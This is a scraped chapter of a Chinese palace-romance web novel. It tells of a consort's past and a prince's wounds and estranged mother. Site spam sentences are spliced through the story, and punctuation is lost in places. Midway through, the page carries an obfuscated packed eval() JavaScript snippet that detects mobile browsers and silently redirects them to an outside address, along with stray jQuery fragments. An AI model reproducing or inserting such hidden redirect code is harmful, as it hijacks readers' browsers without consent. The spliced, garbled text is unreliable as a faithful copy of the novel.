默认冷灰
24号文字
方正启体

第 129 章 前生IF-8

作者:倾颓流年本书字数:K更新时间:
    第129章第129章


    【前生IF-8】


    回到了长春殿时,天色已经微微发白了。长春殿里依旧飘着那么渺远的一星烛火。


    幽幽的,似鬼火。


    照不清雨中破晓时分的路。


    坐在廊下守夜的老太监见到即墨浔归来时,一个激灵醒过来了,连忙把廊下的竹伞撑开来迎过去,一边给他挡上,一边压低说:“殿下怎么才回来?也不撑伞……”


    “……”来人未应,却把漆黑眼睛转向烛火幽明的殿室中。


    似乎是察觉到少年目光所在,太监讪笑一声:“殿下快歇息吧,过几刻便要去早朝……”


    “……”他依然未应,抬步想往主殿那畔去,太监匆匆伸手一拦,叫道:“殿下!……”


    少年的步伐一顿。


    太监瞧见他匿在阴影中攥紧又松开的手,漆黑深湛的眼睛里闪了闪,映着殿中那星烛光,雨色飘着,从他脸颊上汇成雨痕,一挂一挂淌下来。


    这袭黑衣早已湿透,衣尾都在滴着水。


    他推开挡路的太监,径直要往亮着灯火的那处去。刚迈出了两步,胸前箭伤骤然一痛,不得不弯腰撑住了廊柱。雨丝缥缈在眼前,竟使得世界模糊。


    那受他猛推踉跄退开的太监在一旁避着,生怕再惹到他,却只见这玄衣少年不知缘何又止步不前。


    顿住良久,太监见最后他只落寞转头离开,没再留在这里。


    到他离开以后,那盏烛火却幽幽地熄灭了。整个长春殿中,便彻底陷入黎明时分那种昏昧的蓝色里。


    太监忖度着,娘娘她恐怕是打心眼里不喜欢自己亲生的这个儿子,便是殿下之前在西园里养伤,也未见娘娘她探看过一次。


    这实要牵扯到很久远的旧事,久到太监觉得那已是上辈子的事情了。


    娘娘她并不想提,——没有人会在这儿提起。


    老太监默默叹气,却看庭中飞花落了一地,似同十多年前的初春季节一样。


    陛下做皇子时随口一句“萧氏出美人”,陛下登基以后,荆楚世家萧氏这一辈的家主萧呈,便将自己一母同胞、素有荆楚第一美人之名的妹妹萧献晚送进宫中。


    王朝将倾,大厦将倒。萧呈此举,不过是为了出一位有萧家血脉的天子,继续把持荆楚军政。


    萧家小姐初入京中时,便已是这般总冷着脸,虽容颜绝代,却从不肯轻易地笑。几乎没有人见过她笑。


    她芳华正好,却嫁给了一个既没有本事,亦没有才貌,只有祖传皇位的男人——那男人还有三千佳丽——任是谁,也笑不出来。


    但即便是冷着脸的萧献晚,依然


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    迷倒了宫中无数人。


    迷倒了陛下。


    陛下那时候,尚未遇到过皇后,也尚是弱水三千要取三千瓢的人物,荒疏朝政厮混花丛,难得对一个女人上了些心。


    成日地与贵妃在一处——然而贵妃始终是冷着脸的。碰,碰不得,离,离不开,便是夜里,贵妃不肯让陛下近身时,陛下也得在长春殿里陪着她。


    那时候,陛下荒唐得让许多人担心贵妃娘娘要成为妺喜褒姒一样的人物。


    只是帝王恩最寡薄,许是贵妃实在是一块融不化的冰,没过几日,陛下终于还是渐渐地失去了兴趣,长春殿再不似其名,只日渐一日地萧索起来。


    到后来,陛下出巡,在南山狩猎时受了些小伤,恰遇到了猎户家貌美温柔的女儿——便是今时的皇后娘娘了。


    皇后娘娘与陛下乃是情投意合的一对神仙眷侣,可谓是“后宫佳丽三千人,三千宠爱在一身,入宫之后,一时间,鲜花着锦烈火烹油,众人本以为陛下之爱,来得快去得快,未想到那把烹油大火,从立后的那一年烹到了今时今日。


    陛下虽子嗣众多,却唯独把太子殿下当作掌上明珠,疼之爱之。


    至于别的公主皇子,全不在陛下眼中了。


    太子殿下降生那阵子,陛下为之大赦天下,兼设宴百日,筑华阙高台,朝阳楼上燃了七七四十九日的焰火为他庆生。三岁那一年生辰宴上颁诏立为太子,乃是大夏朝历代年纪最小的储君。


    这样明目张胆的宠爱,传出上京,传遍了大夏朝。


    此后几年,每每荆楚故乡来了家信,娘娘她看后便拈着信纸,无甚表情地投与烛炬,烧得精光,他也装模作样劝过娘娘两回:“娘娘,既然是国公爷的信,山长水阔家书万金,好歹也留着做个念想吧?


    娘娘连冷笑亦不冷笑,只那样淡淡地摇头。劝过两回后,他便不劝了,回回就只见娘娘眉目深锁,大约晓得了信中内容:陛下已立了太子!为何娘娘入宫这样久却未得一子半女?


    那不是什么好话——不留下也罢。


    这样的信来了许多次,直到一封赶着年关夹杂于请安折子里捎给娘娘的家书,递进了长春殿娘娘的手中,娘娘看后,却脸色惊变。


    之后许多时日,娘娘她都有些魂不守舍。


    太监才从娘娘陪嫁侍女的口中晓得了原委:娘娘在家时,有一个青梅竹马的意中人。


    那家书并非是国公爷写的,而是她那意中人,辗转借了萧家娘娘族妹的手写来这么一封信——他行将高迁进京,或能与娘娘晤面。


    娘娘是不爱出门走动的,时时爱将自己关在殿室中,不知做什么。


    太监不常见她出来,偶然若是见


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    到回回都要惊觉:娘娘的面庞似更要洁白了白得透明在阳光底下一照仿佛能穿过她的肌肤照见青紫纤细的血管。


    信到不久人便到了。太监听得那位“青梅竹马”晋的是龙骧卫职时常护随陛下车驾左右。


    那些时日太监记得娘娘难得竟会主动接近陛下。


    跟随娘娘的脚步他亦见过那位大人俊眉长眼英俊年轻他暗自想过那人才像与娘娘天造地设。


    他们私底下大约见过几次面——太监知道的明面上有那么三四次至于不知道的林林总总加起来恐怕并不少。


    太监想娘娘嘴边多了一些淡淡的笑痕似是淡淡的月亮在浓蓝的夜里升起使她容颜正焕发出最美丽的光彩来要比从前死气沉沉的样子好得多了。


    太监还知道娘娘新近喜欢去逛御花园的西北角那里荒芜着鲜有人踪。天黑下来后寂静时抬头看月亮星星月亮和星星都那样好。


    可任谁也没有想到九月寒夜里晚蝉声中分明等的人不是陛下何况是那样偏僻寂静的所在——陛下帝驾忽至。随行而至的


    那人依稀在远远地望着这边防风灯笼的光忽明忽灭的几点流萤飞快没入草丛一闪即逝太监离得远看不清对方的神情。


    宫中有些许爱嚼舌根的宫人们说贵妃娘娘久无宠爱竟使这等欲擒故纵的法子多么有城府。


    这样的话传进了娘娘的耳朵里。太监宽慰她说:“娘娘莫恼那些子人从来都是跟红踩白的。”


    娘娘正在写家书闻言不知想起了什么笔触微微一凝使得那将要写好的信字迹坏了一团。她淡淡地卷起了信纸烧掉了重新写并淡淡说:“不重要的人。不必在意。”


    不久后太子殿下的六岁生辰宴上适逢暴雨淋漓不知哪里来的一窝刺客欲刺帝驾乱成一团。太监忙忙慌慌躲在桌角竟意外听到茫茫雨声里两三句零星对话:


    “……趁乱我带你走!——”


    刀剑声。


    雨声。


    凌乱呼喊声。


    “……为什么!?这里有什么好!”


    “我……”


    太监没听清。后来他才知道没在雨声里的话是什么——


    刺客之乱平息后便是娘娘怀孕的消息。传到六宫时皇后娘娘当即脸色铁青。


    娘娘十月怀胎陛下亦从未来看过娘娘。


    太监也再没见过那位大人不知他去了何处。


    次年的六月盛夏里娘娘虽诞下了个漂亮可爱的小皇子长春殿还是冷冷清清的名不副实。


    陛下似乎不喜欢这个孩子。


    娘娘也并不


    你的朋友正在书荒,快去帮帮他吧


    喜欢这个孩子——哪怕他眉眼长得很可爱很像娘娘而且读书很聪明。


    大家都知道这孩子是争皇位的劲敌——所以许多人都不喜欢这个孩子。


    从那之后娘娘与殿下便是皇后和太子的心头芒刺了便是再怎样低调行事却也免不得受他们的欺负。


    故乡山长水阔亲人远在千里如何比得上如日中天的皇后。


    到殿下他八岁被迫离京同样是这样一个落花天气。雨比今日要大得多撑着伞伞沿淋漓的雨水织成了雨帘把视线尽皆隔绝。


    殿下好像在流泪。可他忍着未出声只是咬着嘴唇肩膀在微微颤抖。


    太监想明明要离开了殿下血浓于水的父亲母亲兄弟姐妹只有长公主一人去送他。娘娘她静静地关上了殿门殿下离京的车马萧萧而去


    久到他近前才发现那金经上有字模糊。


    娘娘嘴边的笑影短如昙花一现早已经没有痕迹了仿佛八年多前他记忆之中那淡淡月亮似的笑影是他自己记错了。


    殿下离了京长春殿更加寂寥冷清。


    没有过多久娘娘她一病不起借这机会皇后娘娘便说让娘娘搬去西园好好休养——名为休养实是软禁彻底杜绝她再接近权力的机会。


    太监跟着娘娘搬进了山明水秀的西园那一去便是十年光景。


    雨打檐铃叮铃脆响惊得他从流水落红的往事里回了神。玄衣少年的身影早就不见了。


    老太监想若非殿下争气打了胜仗恐怕他得在西园蹲一辈子——可这冷清寂寥的长春殿除了草木已比十年前高深浓密以外又哪里比西园好呢?


    ——


    春雨淅沥沥下着到了天渐明时堂外梨花在雨中落了一地铺得白茫茫一片。一丝凉风拂过耳畔将稚陵冷得一颤幽幽醒来。


    她迷迷糊糊眨了眨眼却隐约看到身侧人影吓了一吓撑直身子只看见了小道童睁大的乌黑圆溜溜的眼睛与她正大眼瞪小眼:“……”


    稚陵理了理睡得凌乱的鬓发轻咳一声打破这尴尬寂静那小道童从原地弹了起来:“姐姐!我不、不是故意偷看你的!……我就是、就是……”


    稚陵一边听着小道童结结巴巴解释他是过来添灯烛的一边揉了揉太阳穴垂眸目光一扫见长案上叠好了整整七卷经文压在她面前的砚台下昨夜里断断续续的记忆浮现在脑海里。


    回头一看天快亮了这儿已没有即墨浔留下的淡淡龙涎香味。


    小道童捂着嘴嘻嘻笑说:“姐姐你是在找人吗?‘他’走了。”


    你的朋友正在书荒,快去帮帮他吧


    这个年纪的小孩子看起来毫无城府听到什么看见什么全一股脑儿告诉她了。


    稚陵心头一紧:“你知道他是谁?”


    小道童摇头却大着胆子又近她了些咬着手指:“是好看的哥哥……。大概是唔哪位伴读公子吧……”


    没有继续纠结这个他只迫不及待地告诉她姐姐你是我见过最漂亮的姐姐了。


    稚陵暗暗地松了一口气。


    但即墨浔虽然奋笔疾书帮她抄了若干卷经书却不够太子妃说的条件。到白日里季颖又无端出现在这儿时垂眼望着那桌案上叠得齐整的经文时神色十分微妙:“裴小姐抄得倒是很勤快……”


    只是稚陵心觉她话中有话——但一想宫里的人好像都很喜欢这样微妙地说话又不足为怪了。


    昨夜里春雨过后宫里愈发让人觉得寒冷了。稚陵只想着能日以继夜、夜以继日地抄完经书


    游园之际丝丝的凉风间或袭来众人的各色裙裾皆在翩跹摇曳。稚陵想起昨夜里即墨浔说他在那一岸远远望见她不由自主地抬起眼睛眺望池水对岸今日是朦胧烟雨天气什么也看不到。


    白日里都在游园饮宴入夜后便累得很稚陵才抄了几百字眼皮子就直打架险些趴着睡着了。


    明明才在宫中待了两日竟格外想娘亲。娘亲这时候……会也在想她么?


    她拆下娘亲给她簪上的白玉银钗子摩挲了两下。旁的几人是太子妃她拉来充数的白日草草抄了几个字早各自歇息去了。


    稚陵独在这里万籁俱寂对着一灯如豆望着钗头梨花泛着莹润光泽正在想念娘亲做的清蒸鱼冷不丁听到了有脚步声。


    白日里她从宫人们口中意外晓得了一桩事皇后娘娘虽叫人不许谈论可这消息仍旧在一夜间闹得宫中尽人皆知了——昨夜太子殿下他撞了鬼从辇轿上摔下来摔折了腿伤得不能下床很是狼狈。


    陛下他连忙命莲花观中的道人们四处巡察这会儿观里也仅有几个小道童在。


    因此她的担心消散了几分。此时太子殿下不良于行这脚步声不会是他……


    稚陵一想忽当是季颖又要端药过来为难她松下的心立时又一紧下意识攥紧了手中银钗才回头去看。


    只见那朦胧夜色里现出一道挺拔笔立的身影利落关上了门从暗处大步跨进这如豆烛光底下。


    她瞳孔映着来人身影还没等她看清那人今日穿了什么颜色的衣裳骤然身子一空天旋地转。


    “啊——”她轻呼——心跳遽停失重感猛地袭来。


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    她被人轻易抱起来转了两个圈圈,裙裾舞动成了盛开的一朵白色花。


    听到她惊呼,抱着她的少年反而低笑着在她耳边说:“好不好玩?……再转一次好不好?


    气息热得发痒,像心脏毛了边。


    她想拒绝来着,可他已经又抱着她转了两个圈圈。


    转得她头晕目眩、心跳加速、血液微沸。


    转得她不得不抓紧了他。


    他还不肯把她放下来。


    她没来得及平复呼吸,喘着气,身子起伏,抬起眼睛,恰好对上了玄衣少年点漆似的眼眸,盈盈的都是她的影子。


    他眼里含着笑,微湿的长发像淡墨一样淌下来,淌到她脸边,刮得她微微酥痒。他还没有行冠礼,私下时,扎成高高一束马尾,令她总想起他银枪上的缨。


    他环抱她的手似乎……也不由自主固紧了些。


    他抱着她坐在了案前,仍旧没有一点放她下来的意思,直接就手拿着她刚刚拿过的笔,在她刚刚歇住的笔画处继续誊抄起来。


    稚陵好容易缓了一口气,见他嘴角笑意深深,说:“殿下看起来很高兴?


    他笔走龙蛇,丝毫未见停顿,只含笑应说:“唔,你猜我为什么高兴?


    稚陵这才有空细细打量他今夜的样子来,没有穿昨日那身道袍了,换了一身寡淡没有纹饰的玄色缎袍,束发的银丝带泛出微弱银光,近在咫尺的容貌,依然是那个剑眉星目俊朗不凡的少年。


    她抬手抵着下巴,靠在他的颈窝处,笑盈盈说:“我猜,是殿下又笼络到了几位元老朝臣的心?


    即墨浔的笔未顿,说:“今日虽探得几位元老重臣有心支持我,——但不是因为这个。


    稚陵绕着头发,继续想了想:“那我猜,是殿下今日处理完了所有积压的政务,神清气爽。


    即墨浔抵靠着她的额角,耳鬓厮磨似的,轻轻叹气说:“政务如山,哪里有处理完的时候。


    稚陵才发现她绕了半晌的头发是即墨浔的,悄无声息地拉直,并说:“莫非殿下盗得了宫城的布防图了?


    提及这布防图,即墨浔拧眉摇头:“还在查探,尚无眉目。


    左猜不着,右猜不着,稚陵想不通他在高兴什么。


    少年郎棱角分明的脸庞近在咫尺,稚陵抬眼悄悄瞧着他这一张祸害似的脸,不由得想,那时她就觉得他若去唱戏,定要红透半边天,……思忖之际,目光顺着他的脸颊下移。


    是太热了么?她这厢只看了一眼,他就抬手解开了高束的衣领领口,此时微敞着,露出了他的喉结和半片若隐若现的锁骨。


    她目光落


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356144|199677||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在他胸膛上,忽然轻声问:“伤还疼吗?


    这一句


    你的朋友正在书荒,快去帮帮他吧


    话响在幽寂的春夜里春雨似的润无声息她仰起盈盈的一双黑眸不知怎的看即墨浔的那双眼睛里像在闪动着什么。


    他的笔尖一顿视线良久才与她对视漆黑长睫颤了一颤笑道:“早就不疼了。你哪有多大的力气。”


    她仍旧有些担心:“真的不疼了么?”她抬起眼想要端详他的神情捉到他的破绽没想到即墨浔动作一僵突然放下了笔胳膊倏地将她整个儿死死固在怀抱中。


    稚陵一愣怎么忽然这样近——这样紧——她什么也看不见了。


    有声音闷闷地从她头顶传来像是春天群山间沉闷的雨声:“阿陵。这世上……别人从来只关心我会不会死。只有你关心我疼不疼。”


    下雨了滚烫的雨浸过绫绡衣湿到她后背。


    “你刚刚问我为什么高兴。……阿陵其实那无关外事——我只要见到你我就很高兴、很高兴了。”


    他将脑袋埋在她的颈窝呼出的热息喷在她的颈边须臾像是积聚的一团热云令她浑身也跟着发烫。


    他突如其来的一番话令她沉默。


    短短一刹那里她眼前电光石火一样泛出刚认识时他冷峻威严、渊默寡言的样子——她也想明白了他这突然一抱的来由:他不想让她看见此时他的神情。


    她僵着环在他颈后的手轻轻地抚了抚他的后背如安抚一只受伤的小兽。


    静默了很久很久后她可以感受到即墨浔的呼吸已经不似刚刚急促她才轻声说道:“真的不疼了么?给我看看吧。”


    他直起了身目光闪躲着一边说着“没什么好看的”此时才显出几分合年纪的少年人的羞怯一边将衣领缓缓拉开烛光下袒露出了结实的蜜色胸膛。


    箭伤的创口依旧狰狞结的痂厚厚地盘附在他的胸口上随着心跳起伏宛若沉睡着的凶兽随时要张开血口。


    稚陵指尖情不自禁一颤想起爹爹以前开玩笑似的说身上的伤那都是身为武将的荣耀。


    可这样多。


    有些沁出了丝丝缕缕的血痕来。难怪要穿深色的衣裳这样便看不出来了。


    稚陵从袖中抽出手帕替他轻轻拭去那些沁出的血痕说:“疮药只剩下一点了。”她的袖袋里备着一瓶疮药她指尖沾着药膏一点一点涂抹在流血的地方刚触到


    凉意裹挟着热意吻上了结痂的旧伤疤。


    那些地方有的是新伤有的是旧伤。阴雨天气时常复发他从来没有太在意。


    可此时在这样明亮的烛光下更是被她这样近距离地注视着时那些蛰伏的伤疤恍似是冬眠后渐次苏


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    醒的蛇,像在他的胸口上蠕动爬行,痒得他想去抓挠,痒得钻心。


    “不、不能挠——稚陵连忙握住他手腕,制止住他的动作,“抓破了又要重新结痂。


    他乖乖没有动了,只静静地望着她给他涂抹伤药,她神情好认真,嘴角抿成了一条线,像她每每在画工事防御图时那么认真。认真的女孩子怎么这么好看……他看得一恍然,待又见到自己身上的旧伤,这些过往十几年他视为“武将的荣耀的疤痕,竟令此时他心中泛出丝丝自卑——钟宴身上一定没有这种难看的伤疤。


    他暗自想:难看吗?她会不会觉得丑?……太医院有消疤的药么?


    ……可这么多,大抵是消不掉了。


    他微微沮丧起来。


    想到钟宴,他就想到他们武宁侯府实在是油盐不进,谁也不站。


    即墨浔问:“刚刚我在窗外看到你在发呆。你在想我吗——你有没有想我?还是在想别的人?那簪子是谁送给你的么?


    他问得直白,稚陵登时手上一抖,微嗔说:“哪、哪里有别的人……


    即墨浔一喜,声调微微上扬:“那你在想我?


    “我是想我娘亲了!……。钗,是我娘亲给我的。


    即墨浔神色一愣,旋即黯下去,轻轻“哦了一声。


    稚陵继续给他一点一点涂上疮药,药膏晶莹,在烛光里发着亮。


    即墨浔磁沉寂寥的声音忽然从头顶传来,很轻:“你娘亲也会给你哥哥这样上药么?


    那么轻的一问,飘忽着似片羽毛落进稚陵的耳中。她未多思,随口小声应他:“那是当然了。不过,哥哥还是我上药上得多。他偶尔伤一伤,也都只是皮肉伤。


    “那……


    稚陵才发现,从昨夜见面以来,他竟都没有提过他的母妃。


    已上完了药,她收起来药瓶,给他简单拢起了衣领,望着他轻声道:“殿下,你这次受了这样重的伤,受了这么多苦,筹备多时,终于也能回京与贵妃娘娘母子团聚了。以后,便可承欢膝下,享天伦之乐。


    哪知他别开了视线。


    即墨浔看到昨夜他藏身的那尊肃穆神像,神像容仪威严,注目众生,他垂下眼,落寞道:“母亲。不喜欢我。也不想见我。……回京之前,我每每都在想与母亲重逢时的光景。我以为过了十年,母亲也会想念我的……


    他抬手继续抄写经文,像是想借此打断此时外溢的汹涌情绪,好戴上他素日示人的喜怒不形于色的面具,那枝墨已枯涸的笔却被抽走:“闷在心中,会越闷越


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    坏……。”


    稚陵担忧地望着他依稀有漏进室里的凉风吹拂过时烛光歪斜起来他眼中盈盈积聚的光泽也跟着晃动。


    他低下头缓缓转动着右手手指上戴着的黑玉银戒低声说:“我离京的时候母亲没有送我。我回京的时候母亲也没有来接我。阿陵……母亲她恨我。”


    即墨浔低声重复:“恨我……小时候我不懂。这些年渐渐才明白原来母亲是恨我。”他深吸一口气漆黑长眼睛里映着那枚黑玉戒指。


    “小时候总有人欺负我和母亲。我那时就想等我长大……等我长大……我要把他们都杀了……那样母亲会开心一点么?我想让母亲笑一笑。她从不笑。我做什么她都不会开心。”他顿了顿“后来我听说是因为我母亲才这么不开心……”


    稚陵缓缓地握住他的手“世人无法选择自己的出身殿下无论往事里谁对谁错但绝不是一个什么也不知道的小孩子来承担后果。”


    他望着她:“可如果没有我……”


    “殿下这不是你的错错的另有其人——我想贵妃娘娘她若要恨恨的也一定另有其人。殿下是贵妃娘娘唯一的骨肉终究血浓于水。若能找到症结所在解开心结……”她微微凝眉思索着恰见即墨浔一双漆黑长眼正万分期待地望着她眼里有波光盈盈格外好看。


    她抬手抵着额角


    即墨浔微微期盼说:“若若能见面呢?”


    “殿下你有办法让我扮成侍女么?”


    “长春殿的侍女?”


    稚陵点了点头:“对。”她轻轻叹气嘟囔着“困在宫中一时半会出不去这抄经的事也不着急。”


    即墨浔说:“这不难明日我就能安排好。……不过”他顿了顿神色为难“母亲深居简出侍女也未必能见到她。”


    稚陵微微笑说:“我若能进长春殿便有我的办法。”


    即墨浔的眼睛闪了闪情不自禁地拥紧了她几分:“……阿陵你真好。”喉结一滚他听到她含笑说:“今日我听说太子殿下撞了‘鬼’……就当我还给这只鬼的一番人情了。”


    花影摇曳落满了窗格没有人注意到重重花影下匿着的一双眼睛。


    那双眼睛缓缓地收回了视线。华丽裙裾曳地缓行时一痕一痕染上浊污的泥水金丝勾勒出的凤凰在夜色里失去了白昼的光泽了无生机似的。


    药碗里的药被随意泼进了花丛。


    ——


    白日要与皇后娘娘游园饮宴要到夜里方可得这片刻空闲。即墨浔已帮她


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)